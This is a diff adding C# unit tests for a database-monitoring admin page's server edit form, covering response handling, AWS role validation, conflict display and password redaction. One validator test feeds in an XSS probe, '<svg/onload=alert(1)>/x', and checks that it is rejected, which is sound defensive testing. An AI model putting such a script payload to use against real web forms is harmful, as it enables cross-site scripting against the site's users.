+        ("a 2xx that is not a JSON object keeps the form with a sentence; only the transport's expired flag closes it (#5356)", 200, null, null,
+            """{"kind":"unexpected","close":false,"reread":false,"banner":"UNEXPECTED"}""".Replace("UNEXPECTED", UnexpectedAnswer, StringComparison.Ordinal)),
+        ("a 2xx whose body is a JSON array keeps the form with the same sentence", 200, "[]", null,
+            """{"kind":"unexpected","close":false,"reread":false,"banner":"UNEXPECTED"}""".Replace("UNEXPECTED", UnexpectedAnswer, StringComparison.Ordinal)),
+        ("a 403 closes the form with the read-only notice, whatever the body says", 403, """{"error":"something else"}""", null,
+            """{"kind":"readonly","close":true,"reread":false,"notice":"This account has read-only access. Nothing was saved."}"""),
+        ("a 404 closes the form, re-reads the list and shows the server's sentence", 404, """{"error":"This server's definition no longer exists."}""", null,
+            """{"kind":"notfound","close":true,"reread":true,"notice":"This server's definition no longer exists."}"""),
+        ("a 404 with a message uses the message", 404, """{"status":"not_found","message":"Gone."}""", null,
+            """{"kind":"notfound","close":true,"reread":true,"notice":"Gone."}"""),
+        ("a 409 conflict carries the current values and keeps the form", 409,
+            """{"status":"conflict","message":"This server was changed since you read it; nothing was saved.","current":{"host":"sql-z","modified_at":"2026-02-02T00:00:00.1234567Z"}}""", null,
+            """{"kind":"conflict","close":false,"reread":false,"banner":"This server was changed since you opened it. Nothing was saved.","current":{"host":"sql-z","modified_at":"2026-02-02T00:00:00.1234567Z"}}"""),
+        ("a 409 conflict with no current object is just a failure", 409, """{"status":"conflict","message":"No current."}""", null,
+            """{"kind":"failed","close":false,"reread":false,"banner":"No current."}"""),
+        ("a 409 collision is a failure that shows its message, even one that talks about a change", 409,
+            """{"status":"collides","reason":"occupied","message":"This server was changed since you opened it: another monitored server already uses the address."}""", null,
+            """{"kind":"failed","close":false,"reread":false,"banner":"This server was changed since you opened it: another monitored server already uses the address."}"""),
+        ("a 400 keeps the form with the service's sentence", 400, """{"status":"invalid","message":"host must be non-blank text."}""", null,
+            """{"kind":"failed","close":false,"reread":false,"banner":"host must be non-blank text."}"""),
+        ("a 429 keeps the form", 429, """{"error":"Another server write is in progress."}""", null,
+            """{"kind":"failed","close":false,"reread":false,"banner":"Another server write is in progress."}"""),
+        ("a 500 keeps the form", 500, """{"error":"The edit failed."}""", null, """{"kind":"failed","close":false,"reread":false,"banner":"The edit failed."}"""),
+        ("a 500 with no sentence says which status it was", 500, """{}""", null, """{"kind":"failed","close":false,"reread":false,"banner":"Request failed (HTTP 500)."}"""),
+        ("a 502 with no body at all says which status it was", 502, null, null, """{"kind":"failed","close":false,"reread":false,"banner":"Request failed (HTTP 502)."}"""),
+        ("a 200 connection_failed keeps the form with the message", 200, """{"status":"connection_failed","message":"Not saved: the new connection did not answer."}""", null,
+            """{"kind":"failed","close":false,"reread":false,"banner":"Not saved: the new connection did not answer."}"""),
+        ("a 503 timeout shows the banner and re-reads the list but keeps the form", 503, """{"error":"The edit timed out."}""", null,
+            """{"kind":"timeout","close":false,"reread":true,"banner":"The edit timed out."}"""),
+        ("an update closes the form, re-reads, and says the note and that the connection was tested", 200,
+            """{"status":"updated","server":"sql-a","display_name":"Orders","server_id":7,"changed":["host"],"reconnects":1,"tested":true,"modified_at":"x","note":"The service applies this within one sweep."}""", null,
+            """{"kind":"updated","close":true,"reread":true,"notice":"Saved \"Orders\". The service applies this within one sweep. The connection was tested before saving."}"""),
+        ("an update that tested nothing leaves the sentence out, even when its message says otherwise", 200,
+            """{"status":"updated","display_name":"Orders","tested":false,"note":"Done.","message":"connection_failed"}""", null,
+            """{"kind":"updated","close":true,"reread":true,"notice":"Saved \"Orders\". Done."}"""),
+        ("an unchanged edit closes the form and writes nothing", 200, """{"status":"unchanged","message":"Nothing to change."}""", null,
+            """{"kind":"unchanged","close":true,"reread":false,"notice":"No change was needed; nothing was written."}"""),
+    ];
+
+    [Theory]
+    // A connection change expects a probe whatever the auth (the service probes every one); a name or cost alone does not.
+    [InlineData("windows", """{"host":"sql-b"}""", false, true)]
+    [InlineData("managed", """{"database":"Sales"}""", false, true)]
+    [InlineData("windows", """{"trust_server_certificate":true}""", false, true)]
+    [InlineData("postgres", """{"port":"5434"}""", false, true)]
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", false, true)]
+    [InlineData("sql", """{"auth":"Windows"}""", false, true)]
+    [InlineData("windows", """{"display_name":"Payments"}""", false, false)]
+    [InlineData("windows", """{"monthly_cost_usd":"5"}""", false, false)]
+    [InlineData("windows", """{}""", false, false)]
+    [InlineData("sql", """{"encrypt_mode":"mandatory","host":" sql-a "}""", false, false)]
+    // A password sent expects one too, with nothing else changed.
+    [InlineData("sql", """{}""", true, true)]
+    [InlineData("sql", """{"display_name":"Payments"}""", true, true)]
+    [InlineData("sp", """{"host":"sql-b"}""", true, true)]
+    public void AProbeIsExpected_WhenTheConnectionChangesOrAPasswordIsSent_Pure(string kind, string changes, bool passwordSent, bool expected)
+    {
+        var probe = Pure("probeExpected", Base(kind), Edited(kind, changes), passwordSent);
+
+        Assert.Equal(expected, probe.GetBoolean());
+    }
+
+    // ------------------------------------------------------------------ the AWS role (#5452)
+
+    private const string AwsRole = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string AwsOtherRole = "arn:aws:iam::123456789012:role/darling-other";
+
+    private static JsonObject PgWithRole(bool idSet)
+    {
+        var form = Base("postgres");
+        form["aws_role_arn"] = AwsRole;
+        form["aws_external_id_set"] = idSet;
+        return form;
+    }
+
+    private static JsonObject PgEdited(bool idSet, string overrides)
+    {
+        var form = PgWithRole(idSet);
+        foreach (var (key, value) in JsonNode.Parse(overrides)!.AsObject().ToList())
+        {
+            form[key] = value?.DeepClone();
+        }
+
+        return form;
+    }
+
+    [Fact]
+    public void AnUntouchedRole_AndABlankRoleBox_SendNothing_ButRemoveRoleSendsNull_Pure()
+    {
+        Assert.Equal(JsonValueKind.Null, Pure("buildEditBody", PgWithRole(false), PgEdited(false, "{}"), Token, "", "").ValueKind);
+        Assert.Equal(JsonValueKind.Null, Pure("buildEditBody", PgWithRole(false), PgEdited(false, """{"aws_role_arn":""}"""), Token, "", "").ValueKind);
+
+        var removed = Pure("buildEditBody", PgWithRole(true), PgEdited(true, """{"aws_remove_role":true}"""), Token, "", "");
+        Assert.Equal(JsonValueKind.Null, removed.GetProperty("aws_role_arn").ValueKind);
+        Assert.False(removed.TryGetProperty("aws_external_id", out _));
+    }
+
+    [Fact]
+    public void ATypedRoleAndExternalId_AreSent_AndClearExternalIdSendsNull_Pure()
+    {
+        var typed = Pure("buildEditBody", PgWithRole(true), PgEdited(true, $$"""{"aws_role_arn":"  {{AwsOtherRole}} "}"""), Token, "", "ext-id-7f3a9c");
+        Assert.Equal(AwsOtherRole, typed.GetProperty("aws_role_arn").GetString());
+        Assert.Equal("ext-id-7f3a9c", typed.GetProperty("aws_external_id").GetString());
+
+        var cleared = Pure("buildEditBody", PgWithRole(true), PgEdited(true, """{"aws_clear_external_id":true}"""), Token, "", "");
+        Assert.Equal(JsonValueKind.Null, cleared.GetProperty("aws_external_id").ValueKind);
+        Assert.False(cleared.TryGetProperty("aws_role_arn", out _));
+    }
+
+    [Fact]
+    public void ARoleEdit_IsChecked_WithTheServicesOwnSentences_Pure()
+    {
+        var original = PgWithRole(true);
+        Assert.Equal(
+            "The AWS role must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor.",
+            Pure("validateEdit", original, PgEdited(true, """{"aws_role_arn":"nope"}"""), "", "").GetString());
+        foreach (var path in new[] { "<svg/onload=alert(1)>/x", "a<b>/x", "a&b/x", "a`b/x", "a'b/x" })
+        {
+            Assert.Equal(
+                "The AWS role must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor.",
+                Pure("validateEdit", original, PgEdited(true, "{\"aws_role_arn\":\"arn:aws:iam::123456789012:role/" + path + "\"}"), "", "").GetString());
+        }
+        Assert.Equal(
+            "The external ID must be 2 to 1224 characters: letters, digits and _ + = , . @ : / - with no spaces.",
+            Pure("validateEdit", original, PgEdited(true, "{}"), "", "has space").GetString());
+        Assert.Equal(
+            "An external ID needs an AWS role ARN. Set the role, or clear the external ID.",
+            Pure("validateEdit", original, PgEdited(true, """{"aws_remove_role":true}"""), "", "ext-id-7f3a9c").GetString());
+        Assert.Equal(
+            "Changing the AWS role needs the external ID with it: send the external ID again, or clear it.",
+            Pure("validateEdit", original, PgEdited(true, $$"""{"aws_role_arn":"{{AwsOtherRole}}"}"""), "", "").GetString());
+        Assert.Equal(JsonValueKind.Null, Pure("validateEdit", original, PgEdited(true, $$"""{"aws_role_arn":"{{AwsOtherRole}}"}"""), "", "ext-id-7f3a9c").ValueKind);
+        Assert.Equal(JsonValueKind.Null, Pure("validateEdit", original, PgEdited(true, $$"""{"aws_role_arn":"{{AwsOtherRole}}","aws_clear_external_id":true}"""), "", "").ValueKind);
+    }
+
+    [Fact]
+    public void AConflict_ShowsTheExternalIdOnlyAsSetOrNotSet_AndRedactionTakesSeveralSecrets_Pure()
+    {
+        var current = PgWithRole(false);
+        var changes = Pure("conflictChanges", PgWithRole(true), current, PgEdited(true, "{}"));
+        var line = Assert.Single(changes.EnumerateArray(), c => c.GetProperty("key").GetString() == "aws_external_id_set");
+        Assert.Equal("AWS external ID: was set, now not set", line.GetProperty("text").GetString());
+
+        Assert.Equal("a [redacted] b [redacted]", Pure("redactPassword", "a pw1 b ext1", "pw1", "ext1").GetString());
+    }
+
+    // ------------------------------------------------------------------ the rest of the exports
+
+    [Fact]
+    public void TheEditFields_AreTheTwelveEditableKeysInFormOrder_AndNeverTheSecretOrTheToken_Pure()
+    {
+        var fields = Pure("EDIT_FIELDS").EnumerateArray().Select(f => (f.GetProperty("key").GetString(), f.GetProperty("label").GetString())).ToArray();
+
+        Assert.Equal(
+            new (string?, string?)[]
+            {
+                ("host", "Server Name / Address"), ("display_name", "Display Name"), ("port", "Port"), ("auth", "Authentication"),
+                ("username", "Username"), ("encrypt_mode", "Encryption"), ("trust_server_certificate", "Trust server certificate"),
+                ("database", "Database"), ("read_only_intent", "Read-only intent"), ("multi_subnet_failover", "Multi-subnet failover"),
+                ("monthly_cost_usd", "Monthly Cost ($)"), ("aws_role_arn", "AWS role ARN"),
+            },
+            fields);
+        Assert.Equal(new[] { "Windows", "SQL", "ServicePrincipal", "ManagedIdentity" }, Pure("EDIT_AUTHS").EnumerateArray().Select(a => a.GetString()).ToArray());
+        Assert.Equal(new[] { "Optional", "Mandatory", "Strict" }, Pure("EDIT_ENCRYPT_MODES").EnumerateArray().Select(a => a.GetString()).ToArray());
+    }
+
+    [Theory]
+    // The by-id read as the form holds it: port 0 is blank, an encryption mode matches an option ignoring case, a boolean is
+    // true only when exactly true, and no secret, id or token comes along.
+    [InlineData(
+        """{"server_id":7,"display_name":"Orders","engine":"sqlserver","host":"sql-a","port":0,"database":null,"read_only_intent":true,"auth":"SQL","username":"sa","encrypt_mode":"mandatory","trust_server_certificate":true,"multi_subnet_failover":false,"monthly_cost_usd":1234.5,"modified_at":"2026-01-02T03:04:05.1234567Z"}""",
+        """{"engine":"sqlserver","host":"sql-a","display_name":"Orders","port":"","auth":"SQL","username":"sa","encrypt_mode":"Mandatory","trust_server_certificate":true,"database":"","read_only_intent":true,"multi_subnet_failover":false,"monthly_cost_usd":"1234.5","aws_role_arn":"","aws_external_id_set":false,"aws_remove_role":false,"aws_clear_external_id":false}""")]
+    // PostgreSQL always shows auth "SQL" and its port; an engine that is not sqlserver is PostgreSQL, whatever its case or spelling.
+    [InlineData(
+        """{"display_name":"Pg","engine":"postgres","host":"pg-a","port":5433,"database":"mon","read_only_intent":false,"auth":"Windows","username":"pgmon","encrypt_mode":"Optional","trust_server_certificate":"true","multi_subnet_failover":1,"monthly_cost_usd":0}""",
+        """{"engine":"postgres","host":"pg-a","display_name":"Pg","port":"5433","auth":"SQL","username":"pgmon","encrypt_mode":"Optional","trust_server_certificate":false,"database":"mon","read_only_intent":false,"multi_subnet_failover":false,"monthly_cost_usd":"0","aws_role_arn":"","aws_external_id_set":false,"aws_remove_role":false,"aws_clear_external_id":false}""")]
+    [InlineData(
+        """{"display_name":"X","engine":"MySQL","host":"h","port":3306,"auth":"SQL","username":"u","encrypt_mode":"Optional"}""",
+        """{"engine":"postgres","host":"h","display_name":"X","port":"3306","auth":"SQL","username":"u","encrypt_mode":"Optional","trust_server_certificate":false,"database":"","read_only_intent":false,"multi_subnet_failover":false,"monthly_cost_usd":"0","aws_role_arn":"","aws_external_id_set":false,"aws_remove_role":false,"aws_clear_external_id":false}""")]
+    // An auth the list does not know shows as Windows, as the service's own word for it does; an unknown encryption mode stays as text.
+    [InlineData(
+        """{"display_name":"X","engine":"SQLServer","host":"h","auth":"Kerberos","username":null,"encrypt_mode":"Weird","monthly_cost_usd":12}""",
+        """{"engine":"sqlserver","host":"h","display_name":"X","port":"","auth":"Windows","username":"","encrypt_mode":"Weird","trust_server_certificate":false,"database":"","read_only_intent":false,"multi_subnet_failover":false,"monthly_cost_usd":"12","aws_role_arn":"","aws_external_id_set":false,"aws_remove_role":false,"aws_clear_external_id":false}""")]
+    public void TheFormValues_AreTheReadAsTheFormHoldsIt_Pure(string read, string expected)
+    {
+        var values = Pure("editFormValues", JsonNode.Parse(read));
+
+        Assert.True(JsonNode.DeepEquals(JsonNode.Parse(expected), JsonNode.Parse(values.GetRawText())), values.GetRawText());
+    }
+
+    [Theory]
+    // PostgreSQL port: blank is 0 (the default), digits from 1 to 65535 are the number, everything else is not a number.
+    [InlineData("postgres", "port", "", "0")]
+    [InlineData("postgres", "port", " 5432 ", "5432")]
+    [InlineData("postgres", "port", "65535", "65535")]
+    [InlineData("postgres", "port", "0", """{"$number":"NaN"}""")]
+    [InlineData("postgres", "port", "65536", """{"$number":"NaN"}""")]
+    [InlineData("postgres", "port", "-1", """{"$number":"NaN"}""")]
+    [InlineData("postgres", "port", "54.32", """{"$number":"NaN"}""")]
+    [InlineData("postgres", "port", "abc", """{"$number":"NaN"}""")]
+    [InlineData("windows", "port", "1433", "null")]
+    // Cost: blank is 0, digits with an optional decimal point are the number, everything else is not a number.
+    [InlineData("windows", "monthly_cost_usd", "", "0")]
+    [InlineData("windows", "monthly_cost_usd", "12", "12")]
+    [InlineData("windows", "monthly_cost_usd", "12.", "12")]
+    [InlineData("windows", "monthly_cost_usd", ".5", "0.5")]
+    [InlineData("windows", "monthly_cost_usd", " 12.50 ", "12.5")]
+    [InlineData("windows", "monthly_cost_usd", "-1", """{"$number":"NaN"}""")]
+    [InlineData("windows", "monthly_cost_usd", "1e3", """{"$number":"NaN"}""")]
+    [InlineData("windows", "monthly_cost_usd", "1,234", """{"$number":"NaN"}""")]
+    // Text is trimmed, a blank database or username is null, and Windows never has a username.
+    [InlineData("windows", "database", "  ", "null")]
+    [InlineData("windows", "database", " Sales ", "\"Sales\"")]
+    [InlineData("windows", "username", "ignored", "null")]
+    [InlineData("sql", "username", "  ", "null")]
+    [InlineData("sql", "username", " sa ", "\"sa\"")]
+    [InlineData("managed", "username", " client-id ", "\"client-id\"")]
+    [InlineData("postgres", "auth", "Windows", "\"SQL\"")]
+    [InlineData("windows", "encrypt_mode", "strict", "\"Strict\"")]
+    public void NormalizingTheForm_FollowsTheServicesOwnParsing_Pure(string kind, string field, string typed, string expected)
+    {
+        var values = Edited(kind, "{}");
+        values[field] = typed;
+        var engine = values["engine"]!.GetValue<string>();
+
+        var normalized = Pure("normalizeEdit", values, engine);
+
+        Assert.Equal(expected, normalized.GetProperty(field).GetRawText());
+    }
+
+    [Fact]
+    public void TheConflictLines_NameEachFieldTheOtherEditChanged_AndWhatTheUserEnteredForIt_Pure()
+    {
+        var original = Base("sql");
+        var values = Edited("sql", """{"host":"sql-b","display_name":"Payments","monthly_cost_usd":"250"}""");
+        var current = JsonNode.Parse("""{"server_id":7,"display_name":"Orders","engine":"sqlserver","host":"sql-z","port":0,"database":"Sales","read_only_intent":false,"auth":"SQL","username":"sa","encrypt_mode":"Mandatory","trust_server_certificate":true,"multi_subnet_failover":false,"monthly_cost_usd":100,"modified_at":"2026-02-02T00:00:00.1234567Z"}""");
+
+        var lines = Pure("conflictChanges", original, current, values).EnumerateArray().Select(l => l.GetProperty("text").GetString()).ToArray();
+
+        Assert.Equal(
+            new[]
+            {
+                "Server Name / Address: was sql-a, now sql-z (you entered sql-b)",
+                "Trust server certificate: was no, now yes",
+                "Database: was (blank), now Sales",
+            },
+            lines);
+        var host = Pure("conflictChanges", original, current, values).EnumerateArray().First();
+        Assert.Equal("host", host.GetProperty("key").GetString());
+        Assert.Equal("sql-b", host.GetProperty("yours").GetString());
+        Assert.Equal(JsonValueKind.Null, Pure("conflictChanges", original, current, values).EnumerateArray().Last().GetProperty("yours").ValueKind);
+    }
+
+    [Fact]
+    public void TheConflictLines_ShowAPostgresPortAsItsDefault_AndSkipThePortOfSqlServerAndTheAuthOfPostgres_Pure()
+    {
+        var postgres = Base("postgres");
+        var postgresNow = JsonNode.Parse("""{"engine":"postgres","host":"pg-a","port":0,"auth":"Windows","username":"pgmon","encrypt_mode":"Mandatory","monthly_cost_usd":0,"display_name":"Orders"}""");
+        var postgresLines = Pure("conflictChanges", postgres, postgresNow, Base("postgres")).EnumerateArray().Select(l => l.GetProperty("text").GetString()).ToArray();
+        // Port 5433 became the default; the cost 100 became 0; the auth the read reports is not the form's business.
+        Assert.Equal(new[] { "Port: was 5433, now (default)", "Monthly Cost ($): was 100, now 0" }, postgresLines);
+
+        var sqlServerNow = JsonNode.Parse("""{"engine":"sqlserver","host":"sql-a","port":1433,"auth":"SQL","username":"sa","encrypt_mode":"Mandatory","monthly_cost_usd":100,"display_name":"Orders"}""");
+        Assert.Empty(Pure("conflictChanges", Base("sql"), sqlServerNow, Base("sql")).EnumerateArray());
+    }
+
+    [Theory]
+    [InlineData("a bad password: hunter2 was refused", "hunter2", "a bad password: [redacted] was refused")]
+    [InlineData("hunter2hunter2", "hunter2", "[redacted][redacted]")]
+    [InlineData("a.b*c( is not a pattern: a.b*c(", "a.b*c(", "[redacted] is not a pattern: [redacted]")]
+    [InlineData("nothing to hide", "", "nothing to hide")]
+    [InlineData("nothing to hide", "hunter2", "nothing to hide")]
+    public void ThePasswordIsRedactedFromAServiceSentence_WithNoPatternMatching_Pure(string text, string password, string expected)
+    {
+        var redacted = Pure("redactPassword", text, password);
+
+        Assert.Equal(expected, redacted.GetString());
+    }
+
+    // ------------------------------------------------------------------ the page: Edit column, notes, opening and closing the form
+
+    private const string NoteStart = "Every configured server, enabled or disabled. ";
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static string StripText(JsonElement strip) => strip.GetProperty("text").GetString()!;
+
+    [Fact]
+    public void AReadOnlySeat_SeesNoEditAction_AndNeverReadsTheEditRow()
+    {
+        var page = Run("seat:readonly");
+
+        Assert.Equal(0, page.GetProperty("editHeaders").GetInt32());
+        Assert.Equal(0, page.GetProperty("editButtons").GetInt32());
+        // The session probe and the list are the only requests: no by-id read and no PATCH.
+        Assert.Equal(new[] { "GET /api/session", "GET /api/admin/servers" }, Strings(page.GetProperty("requests")));
+        Assert.Equal("3 servers. " + NoteStart + "This sign-in is read-only. Add, edit and remove stay in the desktop Manage Servers window.", Assert.Single(Strings(page.GetProperty("notice"))));
+        Assert.False(page.GetProperty("form").GetBoolean());
+    }
+
+    [Theory]
+    [InlineData("probefailed")]
+    [InlineData("probedropped")]
+    public void ASeatWhoseSessionProbeFailed_SeesNoEditAction_AndANoteToReloadThePage(string kind)
+    {
+        var page = Run("seat:" + kind);
+
+        Assert.Equal(0, page.GetProperty("editHeaders").GetInt32());
+        Assert.Equal(0, page.GetProperty("editButtons").GetInt32());
+        Assert.Equal(
+            "3 servers. " + NoteStart + "Could not check whether this sign-in can make changes. Reload the page to try again.",
+            Assert.Single(Strings(page.GetProperty("notice"))));
+        Assert.DoesNotContain("read-only", Assert.Single(Strings(page.GetProperty("notice"))), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnEditingSeat_SeesAnEditButtonOnEachRowWithAnId_AndTheEditingNote()
+    {
+        var page = Run("seat:editor");
+
+        Assert.Equal(1, page.GetProperty("editHeaders").GetInt32());
+        Assert.Equal(new[] { "Edit Alpha", "Edit Bravo" }, Strings(page.GetProperty("labels")));
+        Assert.Equal(new[] { "1", "2" }, Strings(page.GetProperty("ids")));
+        // Echo is listed without a server_id, so it has no button.
+        Assert.Equal(new[] { "Alpha", "Bravo", "Echo" }, Strings(page.GetProperty("rows")));
+        Assert.Equal(
+            "3 servers. " + NoteStart + "Edit changes a server in place. Add, remove, enable or disable, and excluded databases stay in the desktop Manage Servers window.",
+            Assert.Single(Strings(page.GetProperty("notice"))));
+    }
+
+    [Fact]
+    public void TheEditButton_ReadsTheServerById_FillsTheForm_AndFocusesItsHeading()
+    {
+        var page = Run("open:charlie");
+        var form = page.GetProperty("form");
+
+        Assert.Equal(new[] { "/api/admin/servers/3" }, Strings(page.GetProperty("byIdGets")));
+        Assert.Equal("Edit SQL Server Connection", form.GetProperty("heading").GetString());
+        Assert.True(form.GetProperty("headingFocused").GetBoolean());
+        Assert.Equal("-1", form.GetProperty("headingTabindex").GetString());
+        Assert.Equal("SQL Server", form.GetProperty("engine").GetString());
+        Assert.Equal(
+            new[] { "engine", "host", "display_name", "auth", "username", "password", "encrypt_mode", "trust_server_certificate", "database", "read_only_intent", "multi_subnet_failover", "monthly_cost_usd" },
+            Strings(form.GetProperty("keys")));
+        var values = form.GetProperty("values");
+        Assert.Equal("charlie", values.GetProperty("host").GetString());
+        Assert.Equal("Charlie", values.GetProperty("display_name").GetString());
+        Assert.Equal("sa", values.GetProperty("username").GetString());
+        Assert.Equal("Mandatory", values.GetProperty("encrypt_mode").GetString());
+        Assert.Equal("Sales", values.GetProperty("database").GetString());
+        Assert.Equal("1234", values.GetProperty("monthly_cost_usd").GetString());
+        Assert.Equal("", values.GetProperty("password").GetString());
+        Assert.Equal("password", form.GetProperty("passwordType").GetString());
+        var checks = form.GetProperty("checks");
+        Assert.True(checks.GetProperty("trust_server_certificate").GetBoolean());
+        Assert.True(checks.GetProperty("read_only_intent").GetBoolean());
+        Assert.False(checks.GetProperty("multi_subnet_failover").GetBoolean());
+        Assert.Equal(new[] { "SQL" }, form.GetProperty("auth").EnumerateArray().Where(r => r.GetProperty("checked").GetBoolean()).Select(r => r.GetProperty("value").GetString()!).ToArray());
+        Assert.Equal(new[] { "Save", "Cancel" }, Strings(form.GetProperty("buttons")));
+        Assert.Equal(1, page.GetProperty("formBoxChildren").GetInt32());
+    }
+
+    [Fact]
+    public void WhileTheByIdReadRuns_TheBoxSaysItIsLoading_ThenTheFormReplacesIt()
+    {
+        var page = Run("loading");
+
+        Assert.Equal("Loading server settings", page.GetProperty("during").GetProperty("box").GetString());
+        Assert.False(page.GetProperty("during").GetProperty("form").GetBoolean());
+        Assert.Equal(new[] { "strip loading" }, Strings(page.GetProperty("during").GetProperty("strips")));
+        Assert.Equal("Edit SQL Server Connection", page.GetProperty("form").GetProperty("heading").GetString());
+    }
+
+    [Theory]
+    [InlineData("bravo", "5433")]
+    [InlineData("bravo0", "")]
+    public void APostgresForm_ShowsPortAndNoAuthChoice_AndNoSqlServerOnlyOptions(string which, string port)
+    {
+        var form = Run("open:" + which).GetProperty("form");
+
+        Assert.Equal("Edit PostgreSQL Server Connection", form.GetProperty("heading").GetString());
+        Assert.Equal("PostgreSQL", form.GetProperty("engine").GetString());
+        // No auth radios, no read-only intent and no multi-subnet failover; the port is there, blank when stored as 0.
+        Assert.Equal(
+            new[] { "engine", "host", "display_name", "port", "username", "password", "encrypt_mode", "trust_server_certificate", "database", "monthly_cost_usd", "aws_role_arn", "aws_remove_role", "aws_external_id", "aws_clear_external_id" },
+            Strings(form.GetProperty("keys")));
+        Assert.Empty(form.GetProperty("auth").EnumerateArray());
+        Assert.Equal(port, form.GetProperty("values").GetProperty("port").GetString());
+        Assert.Equal("pgmon", form.GetProperty("values").GetProperty("username").GetString());
+        var notes = Strings(form.GetProperty("muted"));
+        Assert.Contains("blank = 5432, the default", notes);
+        Assert.Contains(notes, n => n.StartsWith("PostgreSQL targets connect with username and password authentication.", StringComparison.Ordinal));
+        Assert.DoesNotContain(notes, n => n.Contains('—') || n.Contains('→'));
+    }
+
+    [Fact]
+    public void AServerRemovedBeforeItsFormOpens_ShowsTheNotice_OpensNoForm_AndRereadsTheList()
+    {
+        var page = Run("byIdFails:404");
+        var strips = page.GetProperty("notice").EnumerateArray().ToArray();
+
+        Assert.Equal("This server's definition no longer exists.", StripText(strips[0]));
+        Assert.Equal("strip notice", strips[0].GetProperty("cls").GetString());
+        Assert.False(page.GetProperty("form").GetBoolean());
+        Assert.Equal(0, page.GetProperty("formBoxChildren").GetInt32());
+        // The list was read again, and the re-read no longer carries the removed server.
+        Assert.Equal(1, page.GetProperty("listReads").GetInt32());
+        Assert.Equal(new[] { "Bravo", "Charlie" }, Strings(page.GetProperty("rows")));
+    }
+
+    [Theory]
+    [InlineData("403", "This account has read-only access.")]
+    [InlineData("500", "admin server read failed (InvalidOperationException)")]
+    [InlineData("network", "Network error: connection refused")]
+    public void AFailedEditRead_ShowsTheSentence_OpensNoForm_AndKeepsTheList(string kind, string sentence)
+    {
+        var page = Run("byIdFails:" + kind);
+        var strip = page.GetProperty("notice").EnumerateArray().First();
+
+        Assert.Equal(sentence, StripText(strip));
+        Assert.Equal("strip error", strip.GetProperty("cls").GetString());
+        Assert.Equal("alert", strip.GetProperty("role").GetString());
+        Assert.False(page.GetProperty("form").GetBoolean());
+        Assert.Equal(0, page.GetProperty("formBoxChildren").GetInt32());
+        Assert.Equal(0, page.GetProperty("listReads").GetInt32());
+        Assert.Equal(new[] { "Alpha", "Bravo", "Charlie" }, Strings(page.GetProperty("rows")));
+    }
+
+    [Theory]
+    [InlineData("ok")]
+    [InlineData("listFails")]
+    public void ThePollRepaint_KeepsAnOpenFormFocusedAndItsTypedValues(string kind)
+    {
+        var page = Run("poll:" + kind);
+
+        // The repaint is under way (its list read held back): the form is untouched.
+        Assert.True(page.GetProperty("during").GetProperty("active").GetBoolean());
+        Assert.Equal("sql-prod-01", page.GetProperty("during").GetProperty("value").GetString());
+        // And after the list read landed: the same host box, still focused, still holding what was typed.
+        Assert.True(page.GetProperty("activeIsHost").GetBoolean());
+        Assert.True(page.GetProperty("sameHost").GetBoolean());
+        Assert.True(page.GetProperty("hostConnected").GetBoolean());
+        Assert.Equal("sql-prod-01", page.GetProperty("hostValue").GetString());
+        Assert.True(page.GetProperty("sameFormBox").GetBoolean());
+        Assert.Equal(0, page.GetProperty("ancestorsRemoved").GetInt32());
+        Assert.True(page.GetProperty("formOpen").GetBoolean());
+        Assert.Equal(2, page.GetProperty("listReads").GetInt32());
+        if (kind == "ok")
+        {
+            Assert.Equal(new[] { "Alpha", "Charlie" }, Strings(page.GetProperty("rows")));
+        }
+        else
+        {
+            // A failed list read shows in the table area, not over the form.
+            Assert.Empty(Strings(page.GetProperty("rows")));
+            Assert.Equal("the list could not be read", page.GetProperty("tableArea").GetString());
+            Assert.Equal(new[] { "strip error" }, Strings(page.GetProperty("tableAreaStrips")));
+        }
+    }
+
+    [Theory]
+    [InlineData("cancel", 0)]
+    [InlineData("another", 1)]
+    [InlineData("tab", 0)]
+    public void EveryWayOfClosingTheForm_ClearsThePasswordItHeld_BeforeItIsDetached(string path, int formsLeft)
+    {
+        var page = Run("closes:" + path);
+
+        Assert.Equal("SECRET-PW", page.GetProperty("typed").GetString());
+        // The very node typed into, read after the form is gone: nothing detached keeps the secret.
+        Assert.Equal("", page.GetProperty("value").GetString());
+        Assert.False(page.GetProperty("connected").GetBoolean());
+        Assert.Equal(formsLeft, page.GetProperty("forms").GetInt32());
+        Assert.Equal(0, page.GetProperty("secretNodes").GetInt32());
+        if (path == "another")
+        {
+            Assert.Equal("Edit SQL Server Connection", page.GetProperty("heading").GetString());
+        }
+    }
+
+    [Theory]
+    [InlineData("another", 1, "Edit PostgreSQL Server Connection")]
+    [InlineData("tab", 0, null)]
+    public void AByIdReadThatLandsAfterItsFormWasDiscarded_OpensNothing(string path, int forms, string? heading)
+    {
+        var page = Run("staleOpen:" + path);
+
+        Assert.Equal(forms, page.GetProperty("forms").GetInt32());
+        Assert.Equal(heading, page.GetProperty("heading").GetString());
+    }
+
+    [Fact]
+    public void TheAuthChoice_ShowsOnlyTheBoxesItNeeds_KeepsAUsernamePerMode_AndTellsWhenThePasswordIsNeeded()
+    {
+        var page = Run("authModes");
+        JsonElement Step(string name) => page.GetProperty("steps").EnumerateArray().Single(s => s.GetProperty("step").GetString() == name);
+        string Auths(JsonElement s) => string.Join(",", s.GetProperty("checked").EnumerateArray().Select(c => c.GetString()));
+        bool Hidden(JsonElement row) => row.GetProperty("hidden").GetBoolean() && row.GetProperty("display").GetString() == "none";
+
+        var opened = Step("opened");
+        Assert.Equal("Windows", Auths(opened));
+        Assert.True(Hidden(opened.GetProperty("username")));
+        Assert.True(Hidden(opened.GetProperty("password")));
+
+        var sql = Step("sql");
+        Assert.Equal("SQL", Auths(sql));
+        Assert.False(Hidden(sql.GetProperty("username")));
+        Assert.Equal("Username", sql.GetProperty("username").GetProperty("label").GetString());
+        Assert.Equal("sa-new", sql.GetProperty("usernameValue").GetString());
+        Assert.False(Hidden(sql.GetProperty("password")));
+        Assert.Equal("Password (required for this change)", sql.GetProperty("password").GetProperty("label").GetString());
+
+        // The username typed under SQL does not become a client id: each mode has its own box contents.
+        var principal = Step("serviceprincipal");
+        Assert.Equal("Client (Application) ID", principal.GetProperty("username").GetProperty("label").GetString());
+        Assert.Equal("", principal.GetProperty("usernameValue").GetString());
